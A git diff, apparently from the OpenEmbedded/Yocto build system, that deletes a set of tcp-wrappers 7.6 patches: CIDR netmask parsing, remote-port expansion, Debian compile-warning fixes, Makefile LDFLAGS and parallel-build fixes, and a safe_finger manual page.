24- || (mask = dot_quad_addr(mask_tok)) == INADDR_NONE) {
25+ || ((mask = dot_quad_addr(mask_tok)) == INADDR_NONE
26+ && (mask = cidr_mask_addr(mask_tok)) == 0)) {
27 #ifndef INET6
28 tcpd_warn("bad net/mask expression: %s/%s", net_tok, mask_tok);
29 #endif
30diff -ruN tcp_wrappers_7.6.orig/misc.c tcp_wrappers_7.6/misc.c
31--- tcp_wrappers_7.6.orig/misc.c 2003-08-21 03:15:36.000000000 +0200
32+++ tcp_wrappers_7.6/misc.c 2003-08-21 03:09:30.000000000 +0200
33@@ -107,3 +107,17 @@
34 }
35 return (runs == 4 ? inet_addr(str) : INADDR_NONE);
36 }
37+
38+/* cidr_mask_addr - convert cidr netmask length to internal form */
39+
40+unsigned long cidr_mask_addr(str)
41+char *str;
42+{
43+ int maskbits;
44+
45+ maskbits = atoi(str);
46+ if (maskbits < 1 || maskbits > 32)
47+ return (0);
48+ return htonl(0xFFFFFFFF << (32 - maskbits));
49+}
50+
51diff -ruN tcp_wrappers_7.6.orig/tcpdchk.c tcp_wrappers_7.6/tcpdchk.c
52--- tcp_wrappers_7.6.orig/tcpdchk.c 2003-08-21 03:15:36.000000000 +0200
53+++ tcp_wrappers_7.6/tcpdchk.c 2003-08-21 03:09:30.000000000 +0200
54@@ -497,12 +497,12 @@
55 int mask_len;
56
57 if ((dot_quad_addr(pat) == INADDR_NONE
58- || dot_quad_addr(mask) == INADDR_NONE)
59+ || dot_quad_addr(mask) == INADDR_NONE && cidr_mask_addr(mask) == 0)
60 && (!is_inet6_addr(pat)
61 || ((mask_len = atoi(mask)) < 0 || mask_len > 128)))
62 #else
63 if (dot_quad_addr(pat) == INADDR_NONE
64- || dot_quad_addr(mask) == INADDR_NONE)
65+ || dot_quad_addr(mask) == INADDR_NONE && cidr_mask_addr(mask) == 0)
66 #endif
67 tcpd_warn("%s/%s: bad net/mask pattern", pat, mask);
68 } else if (STR_EQ(pat, "FAIL")) { /* obsolete */
diff --git a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/15_match_clarify.patch b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/15_match_clarify.patch
deleted file mode 100644
index 0c8594cac3..0000000000
--- a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/15_match_clarify.patch
+++ /dev/null
@@ -1,14 +0,0 @@
1Upstream-Status: Inactive-Upstream [current release is from 1997; no vcs anywhere]
2
3diff -ruN tcp_wrappers_7.6.orig/hosts_access.5 tcp_wrappers_7.6/hosts_access.5
4--- tcp_wrappers_7.6.orig/hosts_access.5 2004-04-25 12:17:59.000000000 +0200
5+++ tcp_wrappers_7.6/hosts_access.5 2004-04-25 12:17:53.000000000 +0200
6@@ -89,6 +89,8 @@
7 bitwise AND of the address and the `mask\'. For example, the net/mask
8 pattern `131.155.72.0/255.255.254.0\' matches every address in the
9 range `131.155.72.0\' through `131.155.73.255\'.
10+`255.255.255.255\' is not a valid mask value, so a single host can be
11+matched just by its IP.
12 .IP \(bu
13 An expression of the form `n.n.n.n/mm' is interpreted as a
14 `net/masklength' pair, where `mm' is the number of consecutive `1'
diff --git a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/expand_remote_port.patch b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/expand_remote_port.patch
deleted file mode 100644
index 0c54ba6d35..0000000000
--- a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/expand_remote_port.patch
+++ /dev/null
@@ -1,73 +0,0 @@
1Upstream-Status: Inactive-Upstream [current release is from 1997; no vcs anywhere]
2
3diff -ruN tcp_wrappers_7.6.orig/eval.c tcp_wrappers_7.6/eval.c
4--- tcp_wrappers_7.6.orig/eval.c 1995-01-30 19:51:46.000000000 +0100
5+++ tcp_wrappers_7.6/eval.c 2004-11-04 13:59:01.000000000 +0100
6@@ -98,6 +98,28 @@
7 }
8 }
9
10+/* eval_port - return string with the port */
11+char *eval_port(saddr)
12+#ifdef INET6
13+struct sockaddr *saddr;
14+#else
15+struct sockaddr_in *saddr;
16+#endif
17+{
18+ static char port[16];
19+ if (saddr != 0) {
20+ sprintf(port, "%u",
21+#ifdef INET6
22+ ntohs(((struct sockaddr_in *)saddr)->sin_port));
23+#else
24+ ntohs(saddr->sin_port));
25+#endif
26+ } else {
27+ strcpy(port, "0");
28+ }
29+ return (port);
30+}
31+
32 /* eval_client - return string with as much about the client as we know */
33
34 char *eval_client(request)
35diff -ruN tcp_wrappers_7.6.orig/hosts_access.5 tcp_wrappers_7.6/hosts_access.5
36--- tcp_wrappers_7.6.orig/hosts_access.5 2004-11-04 13:17:45.000000000 +0100
37+++ tcp_wrappers_7.6/hosts_access.5 2004-11-04 13:55:32.000000000 +0100
38@@ -175,6 +175,8 @@
39 unavailable.
40 .IP "%n (%N)"
41 The client (server) host name (or "unknown" or "paranoid").
42+.IP "%r (%R)"
43+The clients (servers) port number (or "0").
44 .IP %p
45 The daemon process id.
46 .IP %s
47diff -ruN tcp_wrappers_7.6.orig/percent_x.c tcp_wrappers_7.6/percent_x.c
48--- tcp_wrappers_7.6.orig/percent_x.c 1994-12-28 17:42:38.000000000 +0100
49+++ tcp_wrappers_7.6/percent_x.c 2004-11-04 13:19:29.000000000 +0100
50@@ -63,6 +63,8 @@
51 ch == 'n' ? eval_hostname(request->client) :
52 ch == 'N' ? eval_hostname(request->server) :
53 ch == 'p' ? eval_pid(request) :
54+ ch == 'r' ? eval_port(request->client->sin) :
55+ ch == 'R' ? eval_port(request->server->sin) :
56 ch == 's' ? eval_server(request) :
57 ch == 'u' ? eval_user(request) :
58 ch == '%' ? "%" : (tcpd_warn("unrecognized %%%c", ch), "");
59diff -ruN tcp_wrappers_7.6.orig/tcpd.h tcp_wrappers_7.6/tcpd.h
60--- tcp_wrappers_7.6.orig/tcpd.h 2004-11-04 13:17:45.000000000 +0100
61+++ tcp_wrappers_7.6/tcpd.h 2004-11-04 13:19:13.000000000 +0100
62@@ -145,6 +145,11 @@
63 extern char *eval_hostinfo(struct host_info *); /* host name or address */
64 extern char *eval_client(struct request_info *);/* whatever is available */
65 extern char *eval_server(struct request_info *);/* whatever is available */
66+#ifdef INET6
67+extern char *eval_port(struct sockaddr *);
68+#else
69+extern char *eval_port(struct sockaddr_in *);
70+#endif
71 #define eval_daemon(r) ((r)->daemon) /* daemon process name */
72 #define eval_pid(r) ((r)->pid) /* process id */
73
diff --git a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/fix_warnings.patch b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/fix_warnings.patch
deleted file mode 100644
index 0fd2ca7b2b..0000000000
--- a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/fix_warnings.patch
+++ /dev/null
@@ -1,25 +0,0 @@
1Compile warning fixes from Debian
2
3Signed-off-by: Adrian Bunk <bunk@stusta.de>
4Upstream-Status: Inactive-Upstream [current release is from 1997; no vcs anywhere]
5
6--- a/options.c
7+++ b/options.c
8@@ -41,6 +41,7 @@ static char sccsid[] = "@(#) options.c 1
9 #include <netinet/in.h>
10 #include <netdb.h>
11 #include <stdio.h>
12+#include <unistd.h>
13 #include <syslog.h>
14 #include <pwd.h>
15 #include <grp.h>
16--- a/scaffold.c
17+++ b/scaffold.c
18@@ -17,6 +17,7 @@ static char sccs_id[] = "@(#) scaffold.c
19 #include <arpa/inet.h>
20 #include <netdb.h>
21 #include <stdio.h>
22+#include <stdlib.h>
23 #include <syslog.h>
24 #include <setjmp.h>
25 #include <string.h>
diff --git a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/fix_warnings2.patch b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/fix_warnings2.patch
deleted file mode 100644
index d9a6909db7..0000000000
--- a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/fix_warnings2.patch
+++ /dev/null
@@ -1,200 +0,0 @@
1Compile warning fixes from Debian
2
3Signed-off-by: Adrian Bunk <bunk@stusta.de>
4Upstream-Status: Inactive-Upstream [current release is from 1997; no vcs anywhere]
5
6--- a/clean_exit.c
7+++ b/clean_exit.c
8@@ -13,6 +13,7 @@ static char sccsid[] = "@(#) clean_exit.
9 #endif
10
11 #include <stdio.h>
12+#include <unistd.h>
13
14 extern void exit();
15
16--- a/hosts_access.c
17+++ b/hosts_access.c
18@@ -34,6 +34,7 @@ static char sccsid[] = "@(#) hosts_acces
19 #include <netinet/in.h>
20 #include <arpa/inet.h>
21 #include <stdio.h>
22+#include <stdlib.h>
23 #include <syslog.h>
24 #include <ctype.h>
25 #include <errno.h>
26--- a/misc.c
27+++ b/misc.c
28@@ -13,6 +13,7 @@ static char sccsic[] = "@(#) misc.c 1.2
29 #include <netinet/in.h>
30 #include <arpa/inet.h>
31 #include <stdio.h>
32+#include <stdlib.h>
33 #include <string.h>
34
35 #include "tcpd.h"
36--- a/options.c
37+++ b/options.c
38@@ -41,6 +41,7 @@ static char sccsid[] = "@(#) options.c 1
39 #include <netinet/in.h>
40 #include <netdb.h>
41 #include <stdio.h>
42+#include <stdlib.h>
43 #include <unistd.h>
44 #include <syslog.h>
45 #include <pwd.h>
46--- a/percent_x.c
47+++ b/percent_x.c
48@@ -17,6 +17,7 @@ static char sccsid[] = "@(#) percent_x.c
49 /* System libraries. */
50
51 #include <stdio.h>
52+#include <unistd.h>
53 #include <syslog.h>
54 #include <string.h>
55
56--- a/rfc931.c
57+++ b/rfc931.c
58@@ -16,6 +16,7 @@ static char sccsid[] = "@(#) rfc931.c 1.
59 /* System libraries. */
60
61 #include <stdio.h>
62+#include <unistd.h>
63 #include <syslog.h>
64 #include <sys/types.h>
65 #include <sys/socket.h>
66--- a/tcpd.c
67+++ b/tcpd.c
68@@ -22,6 +22,7 @@ static char sccsid[] = "@(#) tcpd.c 1.10
69 #include <sys/socket.h>
70 #include <netinet/in.h>
71 #include <stdio.h>
72+#include <unistd.h>
73 #include <syslog.h>
74 #include <string.h>
75
76--- a/update.c
77+++ b/update.c
78@@ -20,6 +20,7 @@ static char sccsid[] = "@(#) update.c 1.
79 /* System libraries */
80
81 #include <stdio.h>
82+#include <unistd.h>
83 #include <syslog.h>
84 #include <string.h>
85
86--- a/fakelog.c
87+++ b/fakelog.c
88@@ -17,7 +17,7 @@ static char sccsid[] = "@(#) fakelog.c 1
89
90 /* ARGSUSED */
91
92-openlog(name, logopt, facility)
93+void openlog(name, logopt, facility)
94 char *name;
95 int logopt;
96 int facility;
97@@ -27,7 +27,7 @@ int facility;
98
99 /* vsyslog - format one record */
100
101-vsyslog(severity, fmt, ap)
102+void vsyslog(severity, fmt, ap)
103 int severity;
104 char *fmt;
105 va_list ap;
106@@ -43,7 +43,7 @@ va_list ap;
107
108 /* VARARGS */
109
110-VARARGS(syslog, int, severity)
111+void VARARGS(syslog, int, severity)
112 {
113 va_list ap;
114 char *fmt;
115@@ -56,7 +56,7 @@ VARARGS(syslog, int, severity)
116
117 /* closelog - dummy */
118
119-closelog()
120+void closelog()
121 {
122 /* void */
123 }
124--- a/safe_finger.c
125+++ b/safe_finger.c
126@@ -22,10 +22,15 @@ static char sccsid[] = "@(#) safe_finger
127
128 #include <sys/types.h>
129 #include <sys/stat.h>
130+#include <sys/wait.h>
131+#include <fcntl.h>
132 #include <signal.h>
133 #include <stdio.h>
134+#include <stdlib.h>
135+#include <unistd.h>
136 #include <ctype.h>
137 #include <pwd.h>
138+#include <grp.h>
139 #include <syslog.h>
140
141 extern void exit();
142@@ -52,7 +59,7 @@ int sig;
143 exit(0);
144 }
145
146-main(argc, argv)
147+int main(argc, argv)
148 int argc;
149 char **argv;
150 {
151--- a/tcpdchk.c
152+++ b/tcpdchk.c
153@@ -28,6 +28,8 @@ static char sccsid[] = "@(#) tcpdchk.c 1
154 #include <netinet/in.h>
155 #include <arpa/inet.h>
156 #include <stdio.h>
157+#include <stdlib.h>
158+#include <unistd.h>
159 #include <syslog.h>
160 #include <setjmp.h>
161 #include <errno.h>
162--- a/tcpdmatch.c
163+++ b/tcpdmatch.c
164@@ -26,6 +26,7 @@ static char sccsid[] = "@(#) tcpdmatch.c
165 #include <arpa/inet.h>
166 #include <netdb.h>
167 #include <stdio.h>
168+#include <unistd.h>
169 #include <syslog.h>
170 #include <setjmp.h>
171 #include <string.h>
172--- a/try-from.c
173+++ b/try-from.c
174@@ -37,7 +37,7 @@ static char sccsid[] = "@(#) try-from.c
175 int allow_severity = SEVERITY; /* run-time adjustable */
176 int deny_severity = LOG_WARNING; /* ditto */
177
178-main(argc, argv)
179+int main(argc, argv)
180 int argc;
181 char **argv;
182 {
183--- a/inetcf.c
184+++ b/inetcf.c
185@@ -12,6 +12,7 @@ static char sccsid[] = "@(#) inetcf.c 1.
186 #include <sys/types.h>
187 #include <sys/stat.h>
188 #include <stdio.h>
189+#include <stdlib.h>
190 #include <errno.h>
191 #include <string.h>
192
193@@ -20,6 +21,7 @@ extern void exit();
194
195 #include "tcpd.h"
196 #include "inetcf.h"
197+#include "scaffold.h"
198
199 /*
200 * Network configuration files may live in unusual places. Here are some
diff --git a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/have_strerror.patch b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/have_strerror.patch
deleted file mode 100644
index 9b1a3c0fa1..0000000000
--- a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/have_strerror.patch
+++ /dev/null
@@ -1,21 +0,0 @@
1Upstream-Status: Inactive-Upstream [current release is from 1997; no vcs anywhere]
2
3diff -ruN tcp_wrappers_7.6.orig/percent_m.c tcp_wrappers_7.6/percent_m.c
4--- tcp_wrappers_7.6.orig/percent_m.c 1994-12-28 17:42:37.000000000 +0100
5+++ tcp_wrappers_7.6/percent_m.c 2003-08-21 02:45:31.000000000 +0200
6@@ -29,11 +29,15 @@
7
8 while (*bp = *cp)
9 if (*cp == '%' && cp[1] == 'm') {
10+#ifdef HAVE_STRERROR
11+ strcpy(bp, strerror(errno));
12+#else
13 if (errno < sys_nerr && errno > 0) {
14 strcpy(bp, sys_errlist[errno]);
15 } else {
16 sprintf(bp, "Unknown error %d", errno);
17 }
18+#endif
19 bp += strlen(bp);
20 cp += 2;
21 } else {
diff --git a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/ldflags.patch b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/ldflags.patch
deleted file mode 100644
index 79b677f456..0000000000
--- a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/ldflags.patch
+++ /dev/null
@@ -1,45 +0,0 @@
1Upstream-Status: Inactive-Upstream [current release is from 1997; no vcs anywhere]
2
3Index: tcp_wrappers_7.6.orig/Makefile
4===================================================================
5--- tcp_wrappers_7.6.orig.orig/Makefile 2009-04-06 10:55:47.000000000 +0000
6+++ tcp_wrappers_7.6.orig/Makefile 2009-04-06 10:57:04.000000000 +0000
7@@ -748,31 +748,31 @@
8
9 $(SHLIB): $(SHLIB_OBJ)
10 rm -f $(SHLIB)
11- $(CC) -o $(SHLIB) $(SHLINKFLAGS) $(SHLIB_OBJ)
12+ $(CC) $(LDFLAGS) -o $(SHLIB) $(SHLINKFLAGS) $(SHLIB_OBJ)
13 ln -sf $(notdir $(SHLIB)) $(SHLIBSOMAJ)
14 ln -sf $(notdir $(SHLIBSOMAJ)) $(SHLIBSO)
15
16 tcpd: tcpd.o $(SHLIB)
17- $(CC) $(CFLAGS) -o $@ tcpd.o $(SHLIBFLAGS)
18+ $(CC) $(CFLAGS) $(LDFLAGS) -o $@ tcpd.o $(SHLIBFLAGS)
19
20 miscd: miscd.o $(LIB)
21- $(CC) $(CFLAGS) -o $@ miscd.o $(LIB) $(LIBS)
22+ $(CC) $(CFLAGS) $(LDFLAGS) -o $@ miscd.o $(LIB) $(LIBS)
23
24 safe_finger: safe_finger.o $(SHLIB)
25- $(CC) $(CFLAGS) -o $@ safe_finger.o $(SHLIBFLAGS)
26+ $(CC) $(CFLAGS) $(LDFLAGS) -o $@ safe_finger.o $(SHLIBFLAGS)
27
28 TCPDMATCH_OBJ = tcpdmatch.o fakelog.o inetcf.o scaffold.o
29
30 tcpdmatch: $(TCPDMATCH_OBJ) $(SHLIB)
31- $(CC) $(CFLAGS) -o $@ $(TCPDMATCH_OBJ) $(SHLIBFLAGS)
32+ $(CC) $(CFLAGS) $(LDFLAGS) -o $@ $(TCPDMATCH_OBJ) $(SHLIBFLAGS)
33
34 try-from: try-from.o fakelog.o $(SHLIB)
35- $(CC) $(CFLAGS) -o $@ try-from.o fakelog.o $(SHLIBFLAGS)
36+ $(CC) $(CFLAGS) $(LDFLAGS) -o $@ try-from.o fakelog.o $(SHLIBFLAGS)
37
38 TCPDCHK_OBJ = tcpdchk.o fakelog.o inetcf.o scaffold.o
39
40 tcpdchk: $(TCPDCHK_OBJ) $(SHLIB)
41- $(CC) $(CFLAGS) -o $@ $(TCPDCHK_OBJ) $(SHLIBFLAGS)
42+ $(CC) $(CFLAGS) $(LDFLAGS) -o $@ $(TCPDCHK_OBJ) $(SHLIBFLAGS)
43
44 shar: $(KIT)
45 @shar $(KIT)
diff --git a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/makefile-fix-parallel.patch b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/makefile-fix-parallel.patch
deleted file mode 100644
index 23762449ac..0000000000
--- a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/makefile-fix-parallel.patch
+++ /dev/null
@@ -1,54 +0,0 @@
1From daf89d272e51b2153015ce7f54ab0b86182e64c1 Mon Sep 17 00:00:00 2001
2From: Robert Yang <liezhi.yang@windriver.com>
3Date: Wed, 28 Jan 2015 18:50:23 -0800
4Subject: [PATCH] Makefile: fix for parallel build
5
6Fixed:
7make: *** No rule to make target `cflags', needed by `tcpd.o'. Stop.
8
9Let "cflags" depend on config-check which generates cflgas will fix the
10problem.
11
12Also fixed:
13Fatal error: can't create shared/hosts_access.o: No such file or directory
14
15Upstream-Status: Inactive-Upstream [current release is from 1997; no vcs anywhere]
16
17Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
18---
19 Makefile | 5 ++++-
20 1 file changed, 4 insertions(+), 1 deletion(-)
21
22diff --git a/Makefile b/Makefile
23index fe5e732..f468751 100644
24--- a/Makefile
25+++ b/Makefile
26@@ -714,6 +714,7 @@ KIT = README miscd.c tcpd.c fromhost.c hosts_access.c shell_cmd.c \
27 LIB = libwrap.a
28
29 shared/%.o: %.c
30+ [ -d shared ] || mkdir -p shared
31 $(CC) $(CFLAGS) $(SHCFLAGS) -c $< -o $@
32
33 SOMAJOR = 0
34@@ -730,6 +731,8 @@ SHLIB_OBJ= $(addprefix shared/, $(LIB_OBJ));
35
36 all other: config-check tcpd tcpdmatch try-from safe_finger tcpdchk $(LIB)
37
38+cflags: config-check
39+
40 # Invalidate all object files when the compiler options (CFLAGS) have changed.
41
42 config-check:
43@@ -739,7 +742,7 @@ config-check:
44 then rm cflags.new ; \
45 else mv cflags.new cflags ; \
46 fi >/dev/null 2>/dev/null
47- @if [ ! -d shared ]; then mkdir shared; fi
48+ @[ -d shared ] || mkdir -p shared
49
50 $(LIB): $(LIB_OBJ)
51 rm -f $(LIB)
52--
531.7.9.5
54
diff --git a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/man_fromhost.patch b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/man_fromhost.patch
deleted file mode 100644
index 30e74a1de1..0000000000
--- a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/man_fromhost.patch
+++ /dev/null
@@ -1,23 +0,0 @@
1Upstream-Status: Inactive-Upstream [current release is from 1997; no vcs anywhere]
2
3diff -ruN tcp_wrappers_7.6.orig/hosts_access.3 tcp_wrappers_7.6/hosts_access.3
4--- tcp_wrappers_7.6.orig/hosts_access.3 2004-04-25 00:10:48.000000000 +0200
5+++ tcp_wrappers_7.6/hosts_access.3 2004-04-25 00:09:36.000000000 +0200
6@@ -14,6 +14,9 @@
7 struct request_info *request_set(request, key, value, ..., 0)
8 struct request_info *request;
9
10+void fromhost(request)
11+struct request_info *request;
12+
13 int hosts_access(request)
14 struct request_info *request;
15
16@@ -60,6 +63,7 @@
17 is available, host names and client user names are looked up on demand,
18 using the request structure as a cache. hosts_access() returns zero if
19 access should be denied.
20+fromhost() must be called before hosts_access().
21 .PP
22 hosts_ctl() is a wrapper around the request_init() and hosts_access()
23 routines with a perhaps more convenient interface (though it does not
diff --git a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/musl-decls.patch b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/musl-decls.patch
deleted file mode 100644
index b998675aa0..0000000000
--- a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/musl-decls.patch
+++ /dev/null
@@ -1,31 +0,0 @@
1__BEGIN_DECLS/__END_DECLS are BSD specific and not defined in musl
2glibc and uclibc had sys/cdefs.h doing it.
3
4Upstream-Status: Inactive-Upstream [current release is from 1997; no vcs anywhere]
5Signed-off-by: Khem Raj <raj.khem@gmail.com>
6
7Index: tcp_wrappers_7.6/tcpd.h
8===================================================================
9--- tcp_wrappers_7.6.orig/tcpd.h
10+++ tcp_wrappers_7.6/tcpd.h
11@@ -11,7 +11,9 @@
12 #include <netinet/in.h>
13 #include <stdio.h>
14
15-__BEGIN_DECLS
16+#ifdef __cplusplus
17+extern "C" {
18+#endif
19
20 /* Structure to describe one communications endpoint. */
21
22@@ -252,6 +254,8 @@ extern char *fix_strtok();
23 extern char *my_strtok();
24 #endif
25
26-__END_DECLS
27+#ifdef __cplusplus
28+}
29+#endif
30
31 #endif
diff --git a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/rename_strings_variable.patch b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/rename_strings_variable.patch
deleted file mode 100644
index f42b9d2799..0000000000
--- a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/rename_strings_variable.patch
+++ /dev/null
@@ -1,35 +0,0 @@
1STRINGS name conflicts with variable for strings tools (e.g. i586-oe-linux-strings)
2
3Upstream-Status: Inactive-Upstream [current release is from 1997; no vcs anywhere]
4
5Signed-off-by: Martin Jansa <Martin.Jansa@gmail.com>
6
7--- tcp_wrappers_7.6/Makefile.orig 2013-04-18 23:41:58.277981740 +0200
8+++ tcp_wrappers_7.6/Makefile 2013-04-18 23:42:42.513978966 +0200
9@@ -309,7 +309,7 @@
10 pyramid:
11 @make REAL_DAEMON_DIR=$(REAL_DAEMON_DIR) STYLE=$(STYLE) \
12 LIBS= RANLIB=ranlib ARFLAGS=rv AUX_OBJ="environ.o vfprintf.o" \
13- STRINGS="-Dstrchr=index -Dstrrchr=rindex -Dmemcmp=bcmp -Dno_memcpy" \
14+ STRINGS_FLAGS="-Dstrchr=index -Dstrrchr=rindex -Dmemcmp=bcmp -Dno_memcpy" \
15 NETGROUP="-DNETGROUP -DUSE_GETDOMAIN" TLI= all
16
17 # Untested.
18@@ -419,7 +419,7 @@
19 # Uncomment the following if your C library does not provide the
20 # strchr/strrchr/memcmp routines, but comes with index/rindex/bcmp.
21 #
22-#STRINGS= -Dstrchr=index -Dstrrchr=rindex -Dmemcmp=bcmp -Dno_memcpy
23+#STRINGS_FLAGS= -Dstrchr=index -Dstrrchr=rindex -Dmemcmp=bcmp -Dno_memcpy
24
25 #################################################################
26 # System dependencies: selection of non-default object libraries.
27@@ -690,7 +690,7 @@
28 $(BUGS) $(SYSTYPE) $(AUTH) $(UMASK) \
29 -DREAL_DAEMON_DIR=\"$(REAL_DAEMON_DIR)\" $(STYLE) $(KILL_OPT) \
30 -DSEVERITY=$(SEVERITY) -DRFC931_TIMEOUT=$(RFC931_TIMEOUT) \
31- $(UCHAR) $(TABLES) $(STRINGS) $(TLI) $(EXTRA_CFLAGS) $(DOT) \
32+ $(UCHAR) $(TABLES) $(STRINGS_FLAGS) $(TLI) $(EXTRA_CFLAGS) $(DOT) \
33 $(VSYSLOG) $(HOSTNAME)
34
35 LIB_OBJ= hosts_access.o options.o shell_cmd.o rfc931.o eval.o \
diff --git a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/restore_sigalarm.patch b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/restore_sigalarm.patch
deleted file mode 100644
index a864e38129..0000000000
--- a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/restore_sigalarm.patch
+++ /dev/null
@@ -1,39 +0,0 @@
1Upstream-Status: Inactive-Upstream [current release is from 1997; no vcs anywhere]
2
3diff -ruN tcp_wrappers_7.6.orig/rfc931.c tcp_wrappers_7.6/rfc931.c
4--- tcp_wrappers_7.6.orig/rfc931.c 2004-08-29 18:40:08.000000000 +0200
5+++ tcp_wrappers_7.6/rfc931.c 2004-08-29 18:40:02.000000000 +0200
6@@ -92,6 +92,8 @@
7 char *cp;
8 char *result = unknown;
9 FILE *fp;
10+ unsigned saved_timeout;
11+ struct sigaction nact, oact;
12
13 #ifdef INET6
14 /* address family must be the same */
15@@ -134,7 +136,12 @@
16 */
17
18 if (setjmp(timebuf) == 0) {
19- signal(SIGALRM, timeout);
20+ /* Save SIGALRM timer and handler. Sudheer Abdul-Salam, SUN. */
21+ saved_timeout = alarm(0);
22+ nact.sa_handler = timeout;
23+ nact.sa_flags = 0;
24+ (void) sigemptyset(&nact.sa_mask);
25+ (void) sigaction(SIGALRM, &nact, &oact);
26 alarm(rfc931_timeout);
27
28 /*
29@@ -223,6 +230,10 @@
30 }
31 alarm(0);
32 }
33+ /* Restore SIGALRM timer and handler. Sudheer Abdul-Salam, SUN. */
34+ (void) sigaction(SIGALRM, &oact, NULL);
35+ if (saved_timeout > 0)
36+ alarm(saved_timeout);
37 fclose(fp);
38 }
39 STRN_CPY(dest, result, STRING_LENGTH);
diff --git a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/rfc931.diff b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/rfc931.diff
deleted file mode 100644
index 2d0f548f89..0000000000
--- a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/rfc931.diff
+++ /dev/null
@@ -1,41 +0,0 @@
1Upstream-Status: Inactive-Upstream [current release is from 1997; no vcs anywhere]
2
3diff -ruNp tcp_wrappers_7.6.orig/scaffold.c tcp_wrappers_7.6/scaffold.c
4--- tcp_wrappers_7.6.orig/scaffold.c 2005-03-09 18:22:04.000000000 +0100
5+++ tcp_wrappers_7.6/scaffold.c 2005-03-09 18:20:47.000000000 +0100
6@@ -237,10 +237,17 @@ struct request_info *request;
7
8 /* ARGSUSED */
9
10-void rfc931(request)
11-struct request_info *request;
12+void rfc931(rmt_sin, our_sin, dest)
13+#ifdef INET6
14+struct sockaddr *rmt_sin;
15+struct sockaddr *our_sin;
16+#else
17+struct sockaddr_in *rmt_sin;
18+struct sockaddr_in *our_sin;
19+#endif
20+char *dest;
21 {
22- strcpy(request->user, unknown);
23+ strcpy(dest, unknown);
24 }
25
26 /* check_path - examine accessibility */
27diff -ruNp tcp_wrappers_7.6.orig/tcpd.h tcp_wrappers_7.6/tcpd.h
28--- tcp_wrappers_7.6.orig/tcpd.h 2005-03-09 18:22:04.000000000 +0100
29+++ tcp_wrappers_7.6/tcpd.h 2005-03-09 18:21:23.000000000 +0100
30@@ -83,7 +83,11 @@ extern int hosts_access(struct request_i
31 extern void shell_cmd(char *); /* execute shell command */
32 extern char *percent_x(char *, int, char *, struct request_info *);
33 /* do %<char> expansion */
34+#ifdef INET6
35 extern void rfc931(struct sockaddr *, struct sockaddr *, char *);
36+#else
37+extern void rfc931(struct sockaddr_in *, struct sockaddr_in *, char *);
38+#endif
39 /* client name from RFC 931 daemon */
40 extern void clean_exit(struct request_info *); /* clean up and exit */
41 extern void refuse(struct request_info *); /* clean up and exit */
diff --git a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/safe_finger.8 b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/safe_finger.8
deleted file mode 100644
index 875616b9ea..0000000000
--- a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/safe_finger.8
+++ /dev/null
@@ -1,34 +0,0 @@
1.TH SAFE_FINGER 8 "21th June 1997" Linux "Linux Programmer's Manual"
2.SH NAME
3safe_finger \- finger client wrapper that protects against nasty stuff
4from finger servers
5.SH SYNOPSIS
6.B safe_finger [finger_options]
7.SH DESCRIPTION
8The
9.B safe_finger
10command protects against nasty stuff from finger servers. Use this
11program for automatic reverse finger probes from the
12.B tcp_wrapper
13.B (tcpd)
14, not the raw finger command. The
15.B safe_finger
16command makes sure that the finger client is not run with root
17privileges. It also runs the finger client with a defined PATH
18environment.
19.B safe_finger
20will also protect you from problems caused by the output of some
21finger servers. The problem: some programs may react to stuff in
22the first column. Other programs may get upset by thrash anywhere
23on a line. File systems may fill up as the finger server keeps
24sending data. Text editors may bomb out on extremely long lines.
25The finger server may take forever because it is somehow wedged.
26.B safe_finger
27takes care of all this badness.
28.SH SEE ALSO
29.BR hosts_access (5),
30.BR hosts_options (5),
31.BR tcpd (8)
32.SH AUTHOR
33Wietse Venema, Eindhoven University of Technology, The Netherlands.
34
diff --git a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/safe_finger.patch b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/safe_finger.patch
deleted file mode 100644
index b6543fc92e..0000000000
--- a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/safe_finger.patch
+++ /dev/null
@@ -1,31 +0,0 @@
1Upstream-Status: Inactive-Upstream [current release is from 1997; no vcs anywhere]
2
3--- tcp-wrappers-7.6-ipv6.1.orig/safe_finger.c
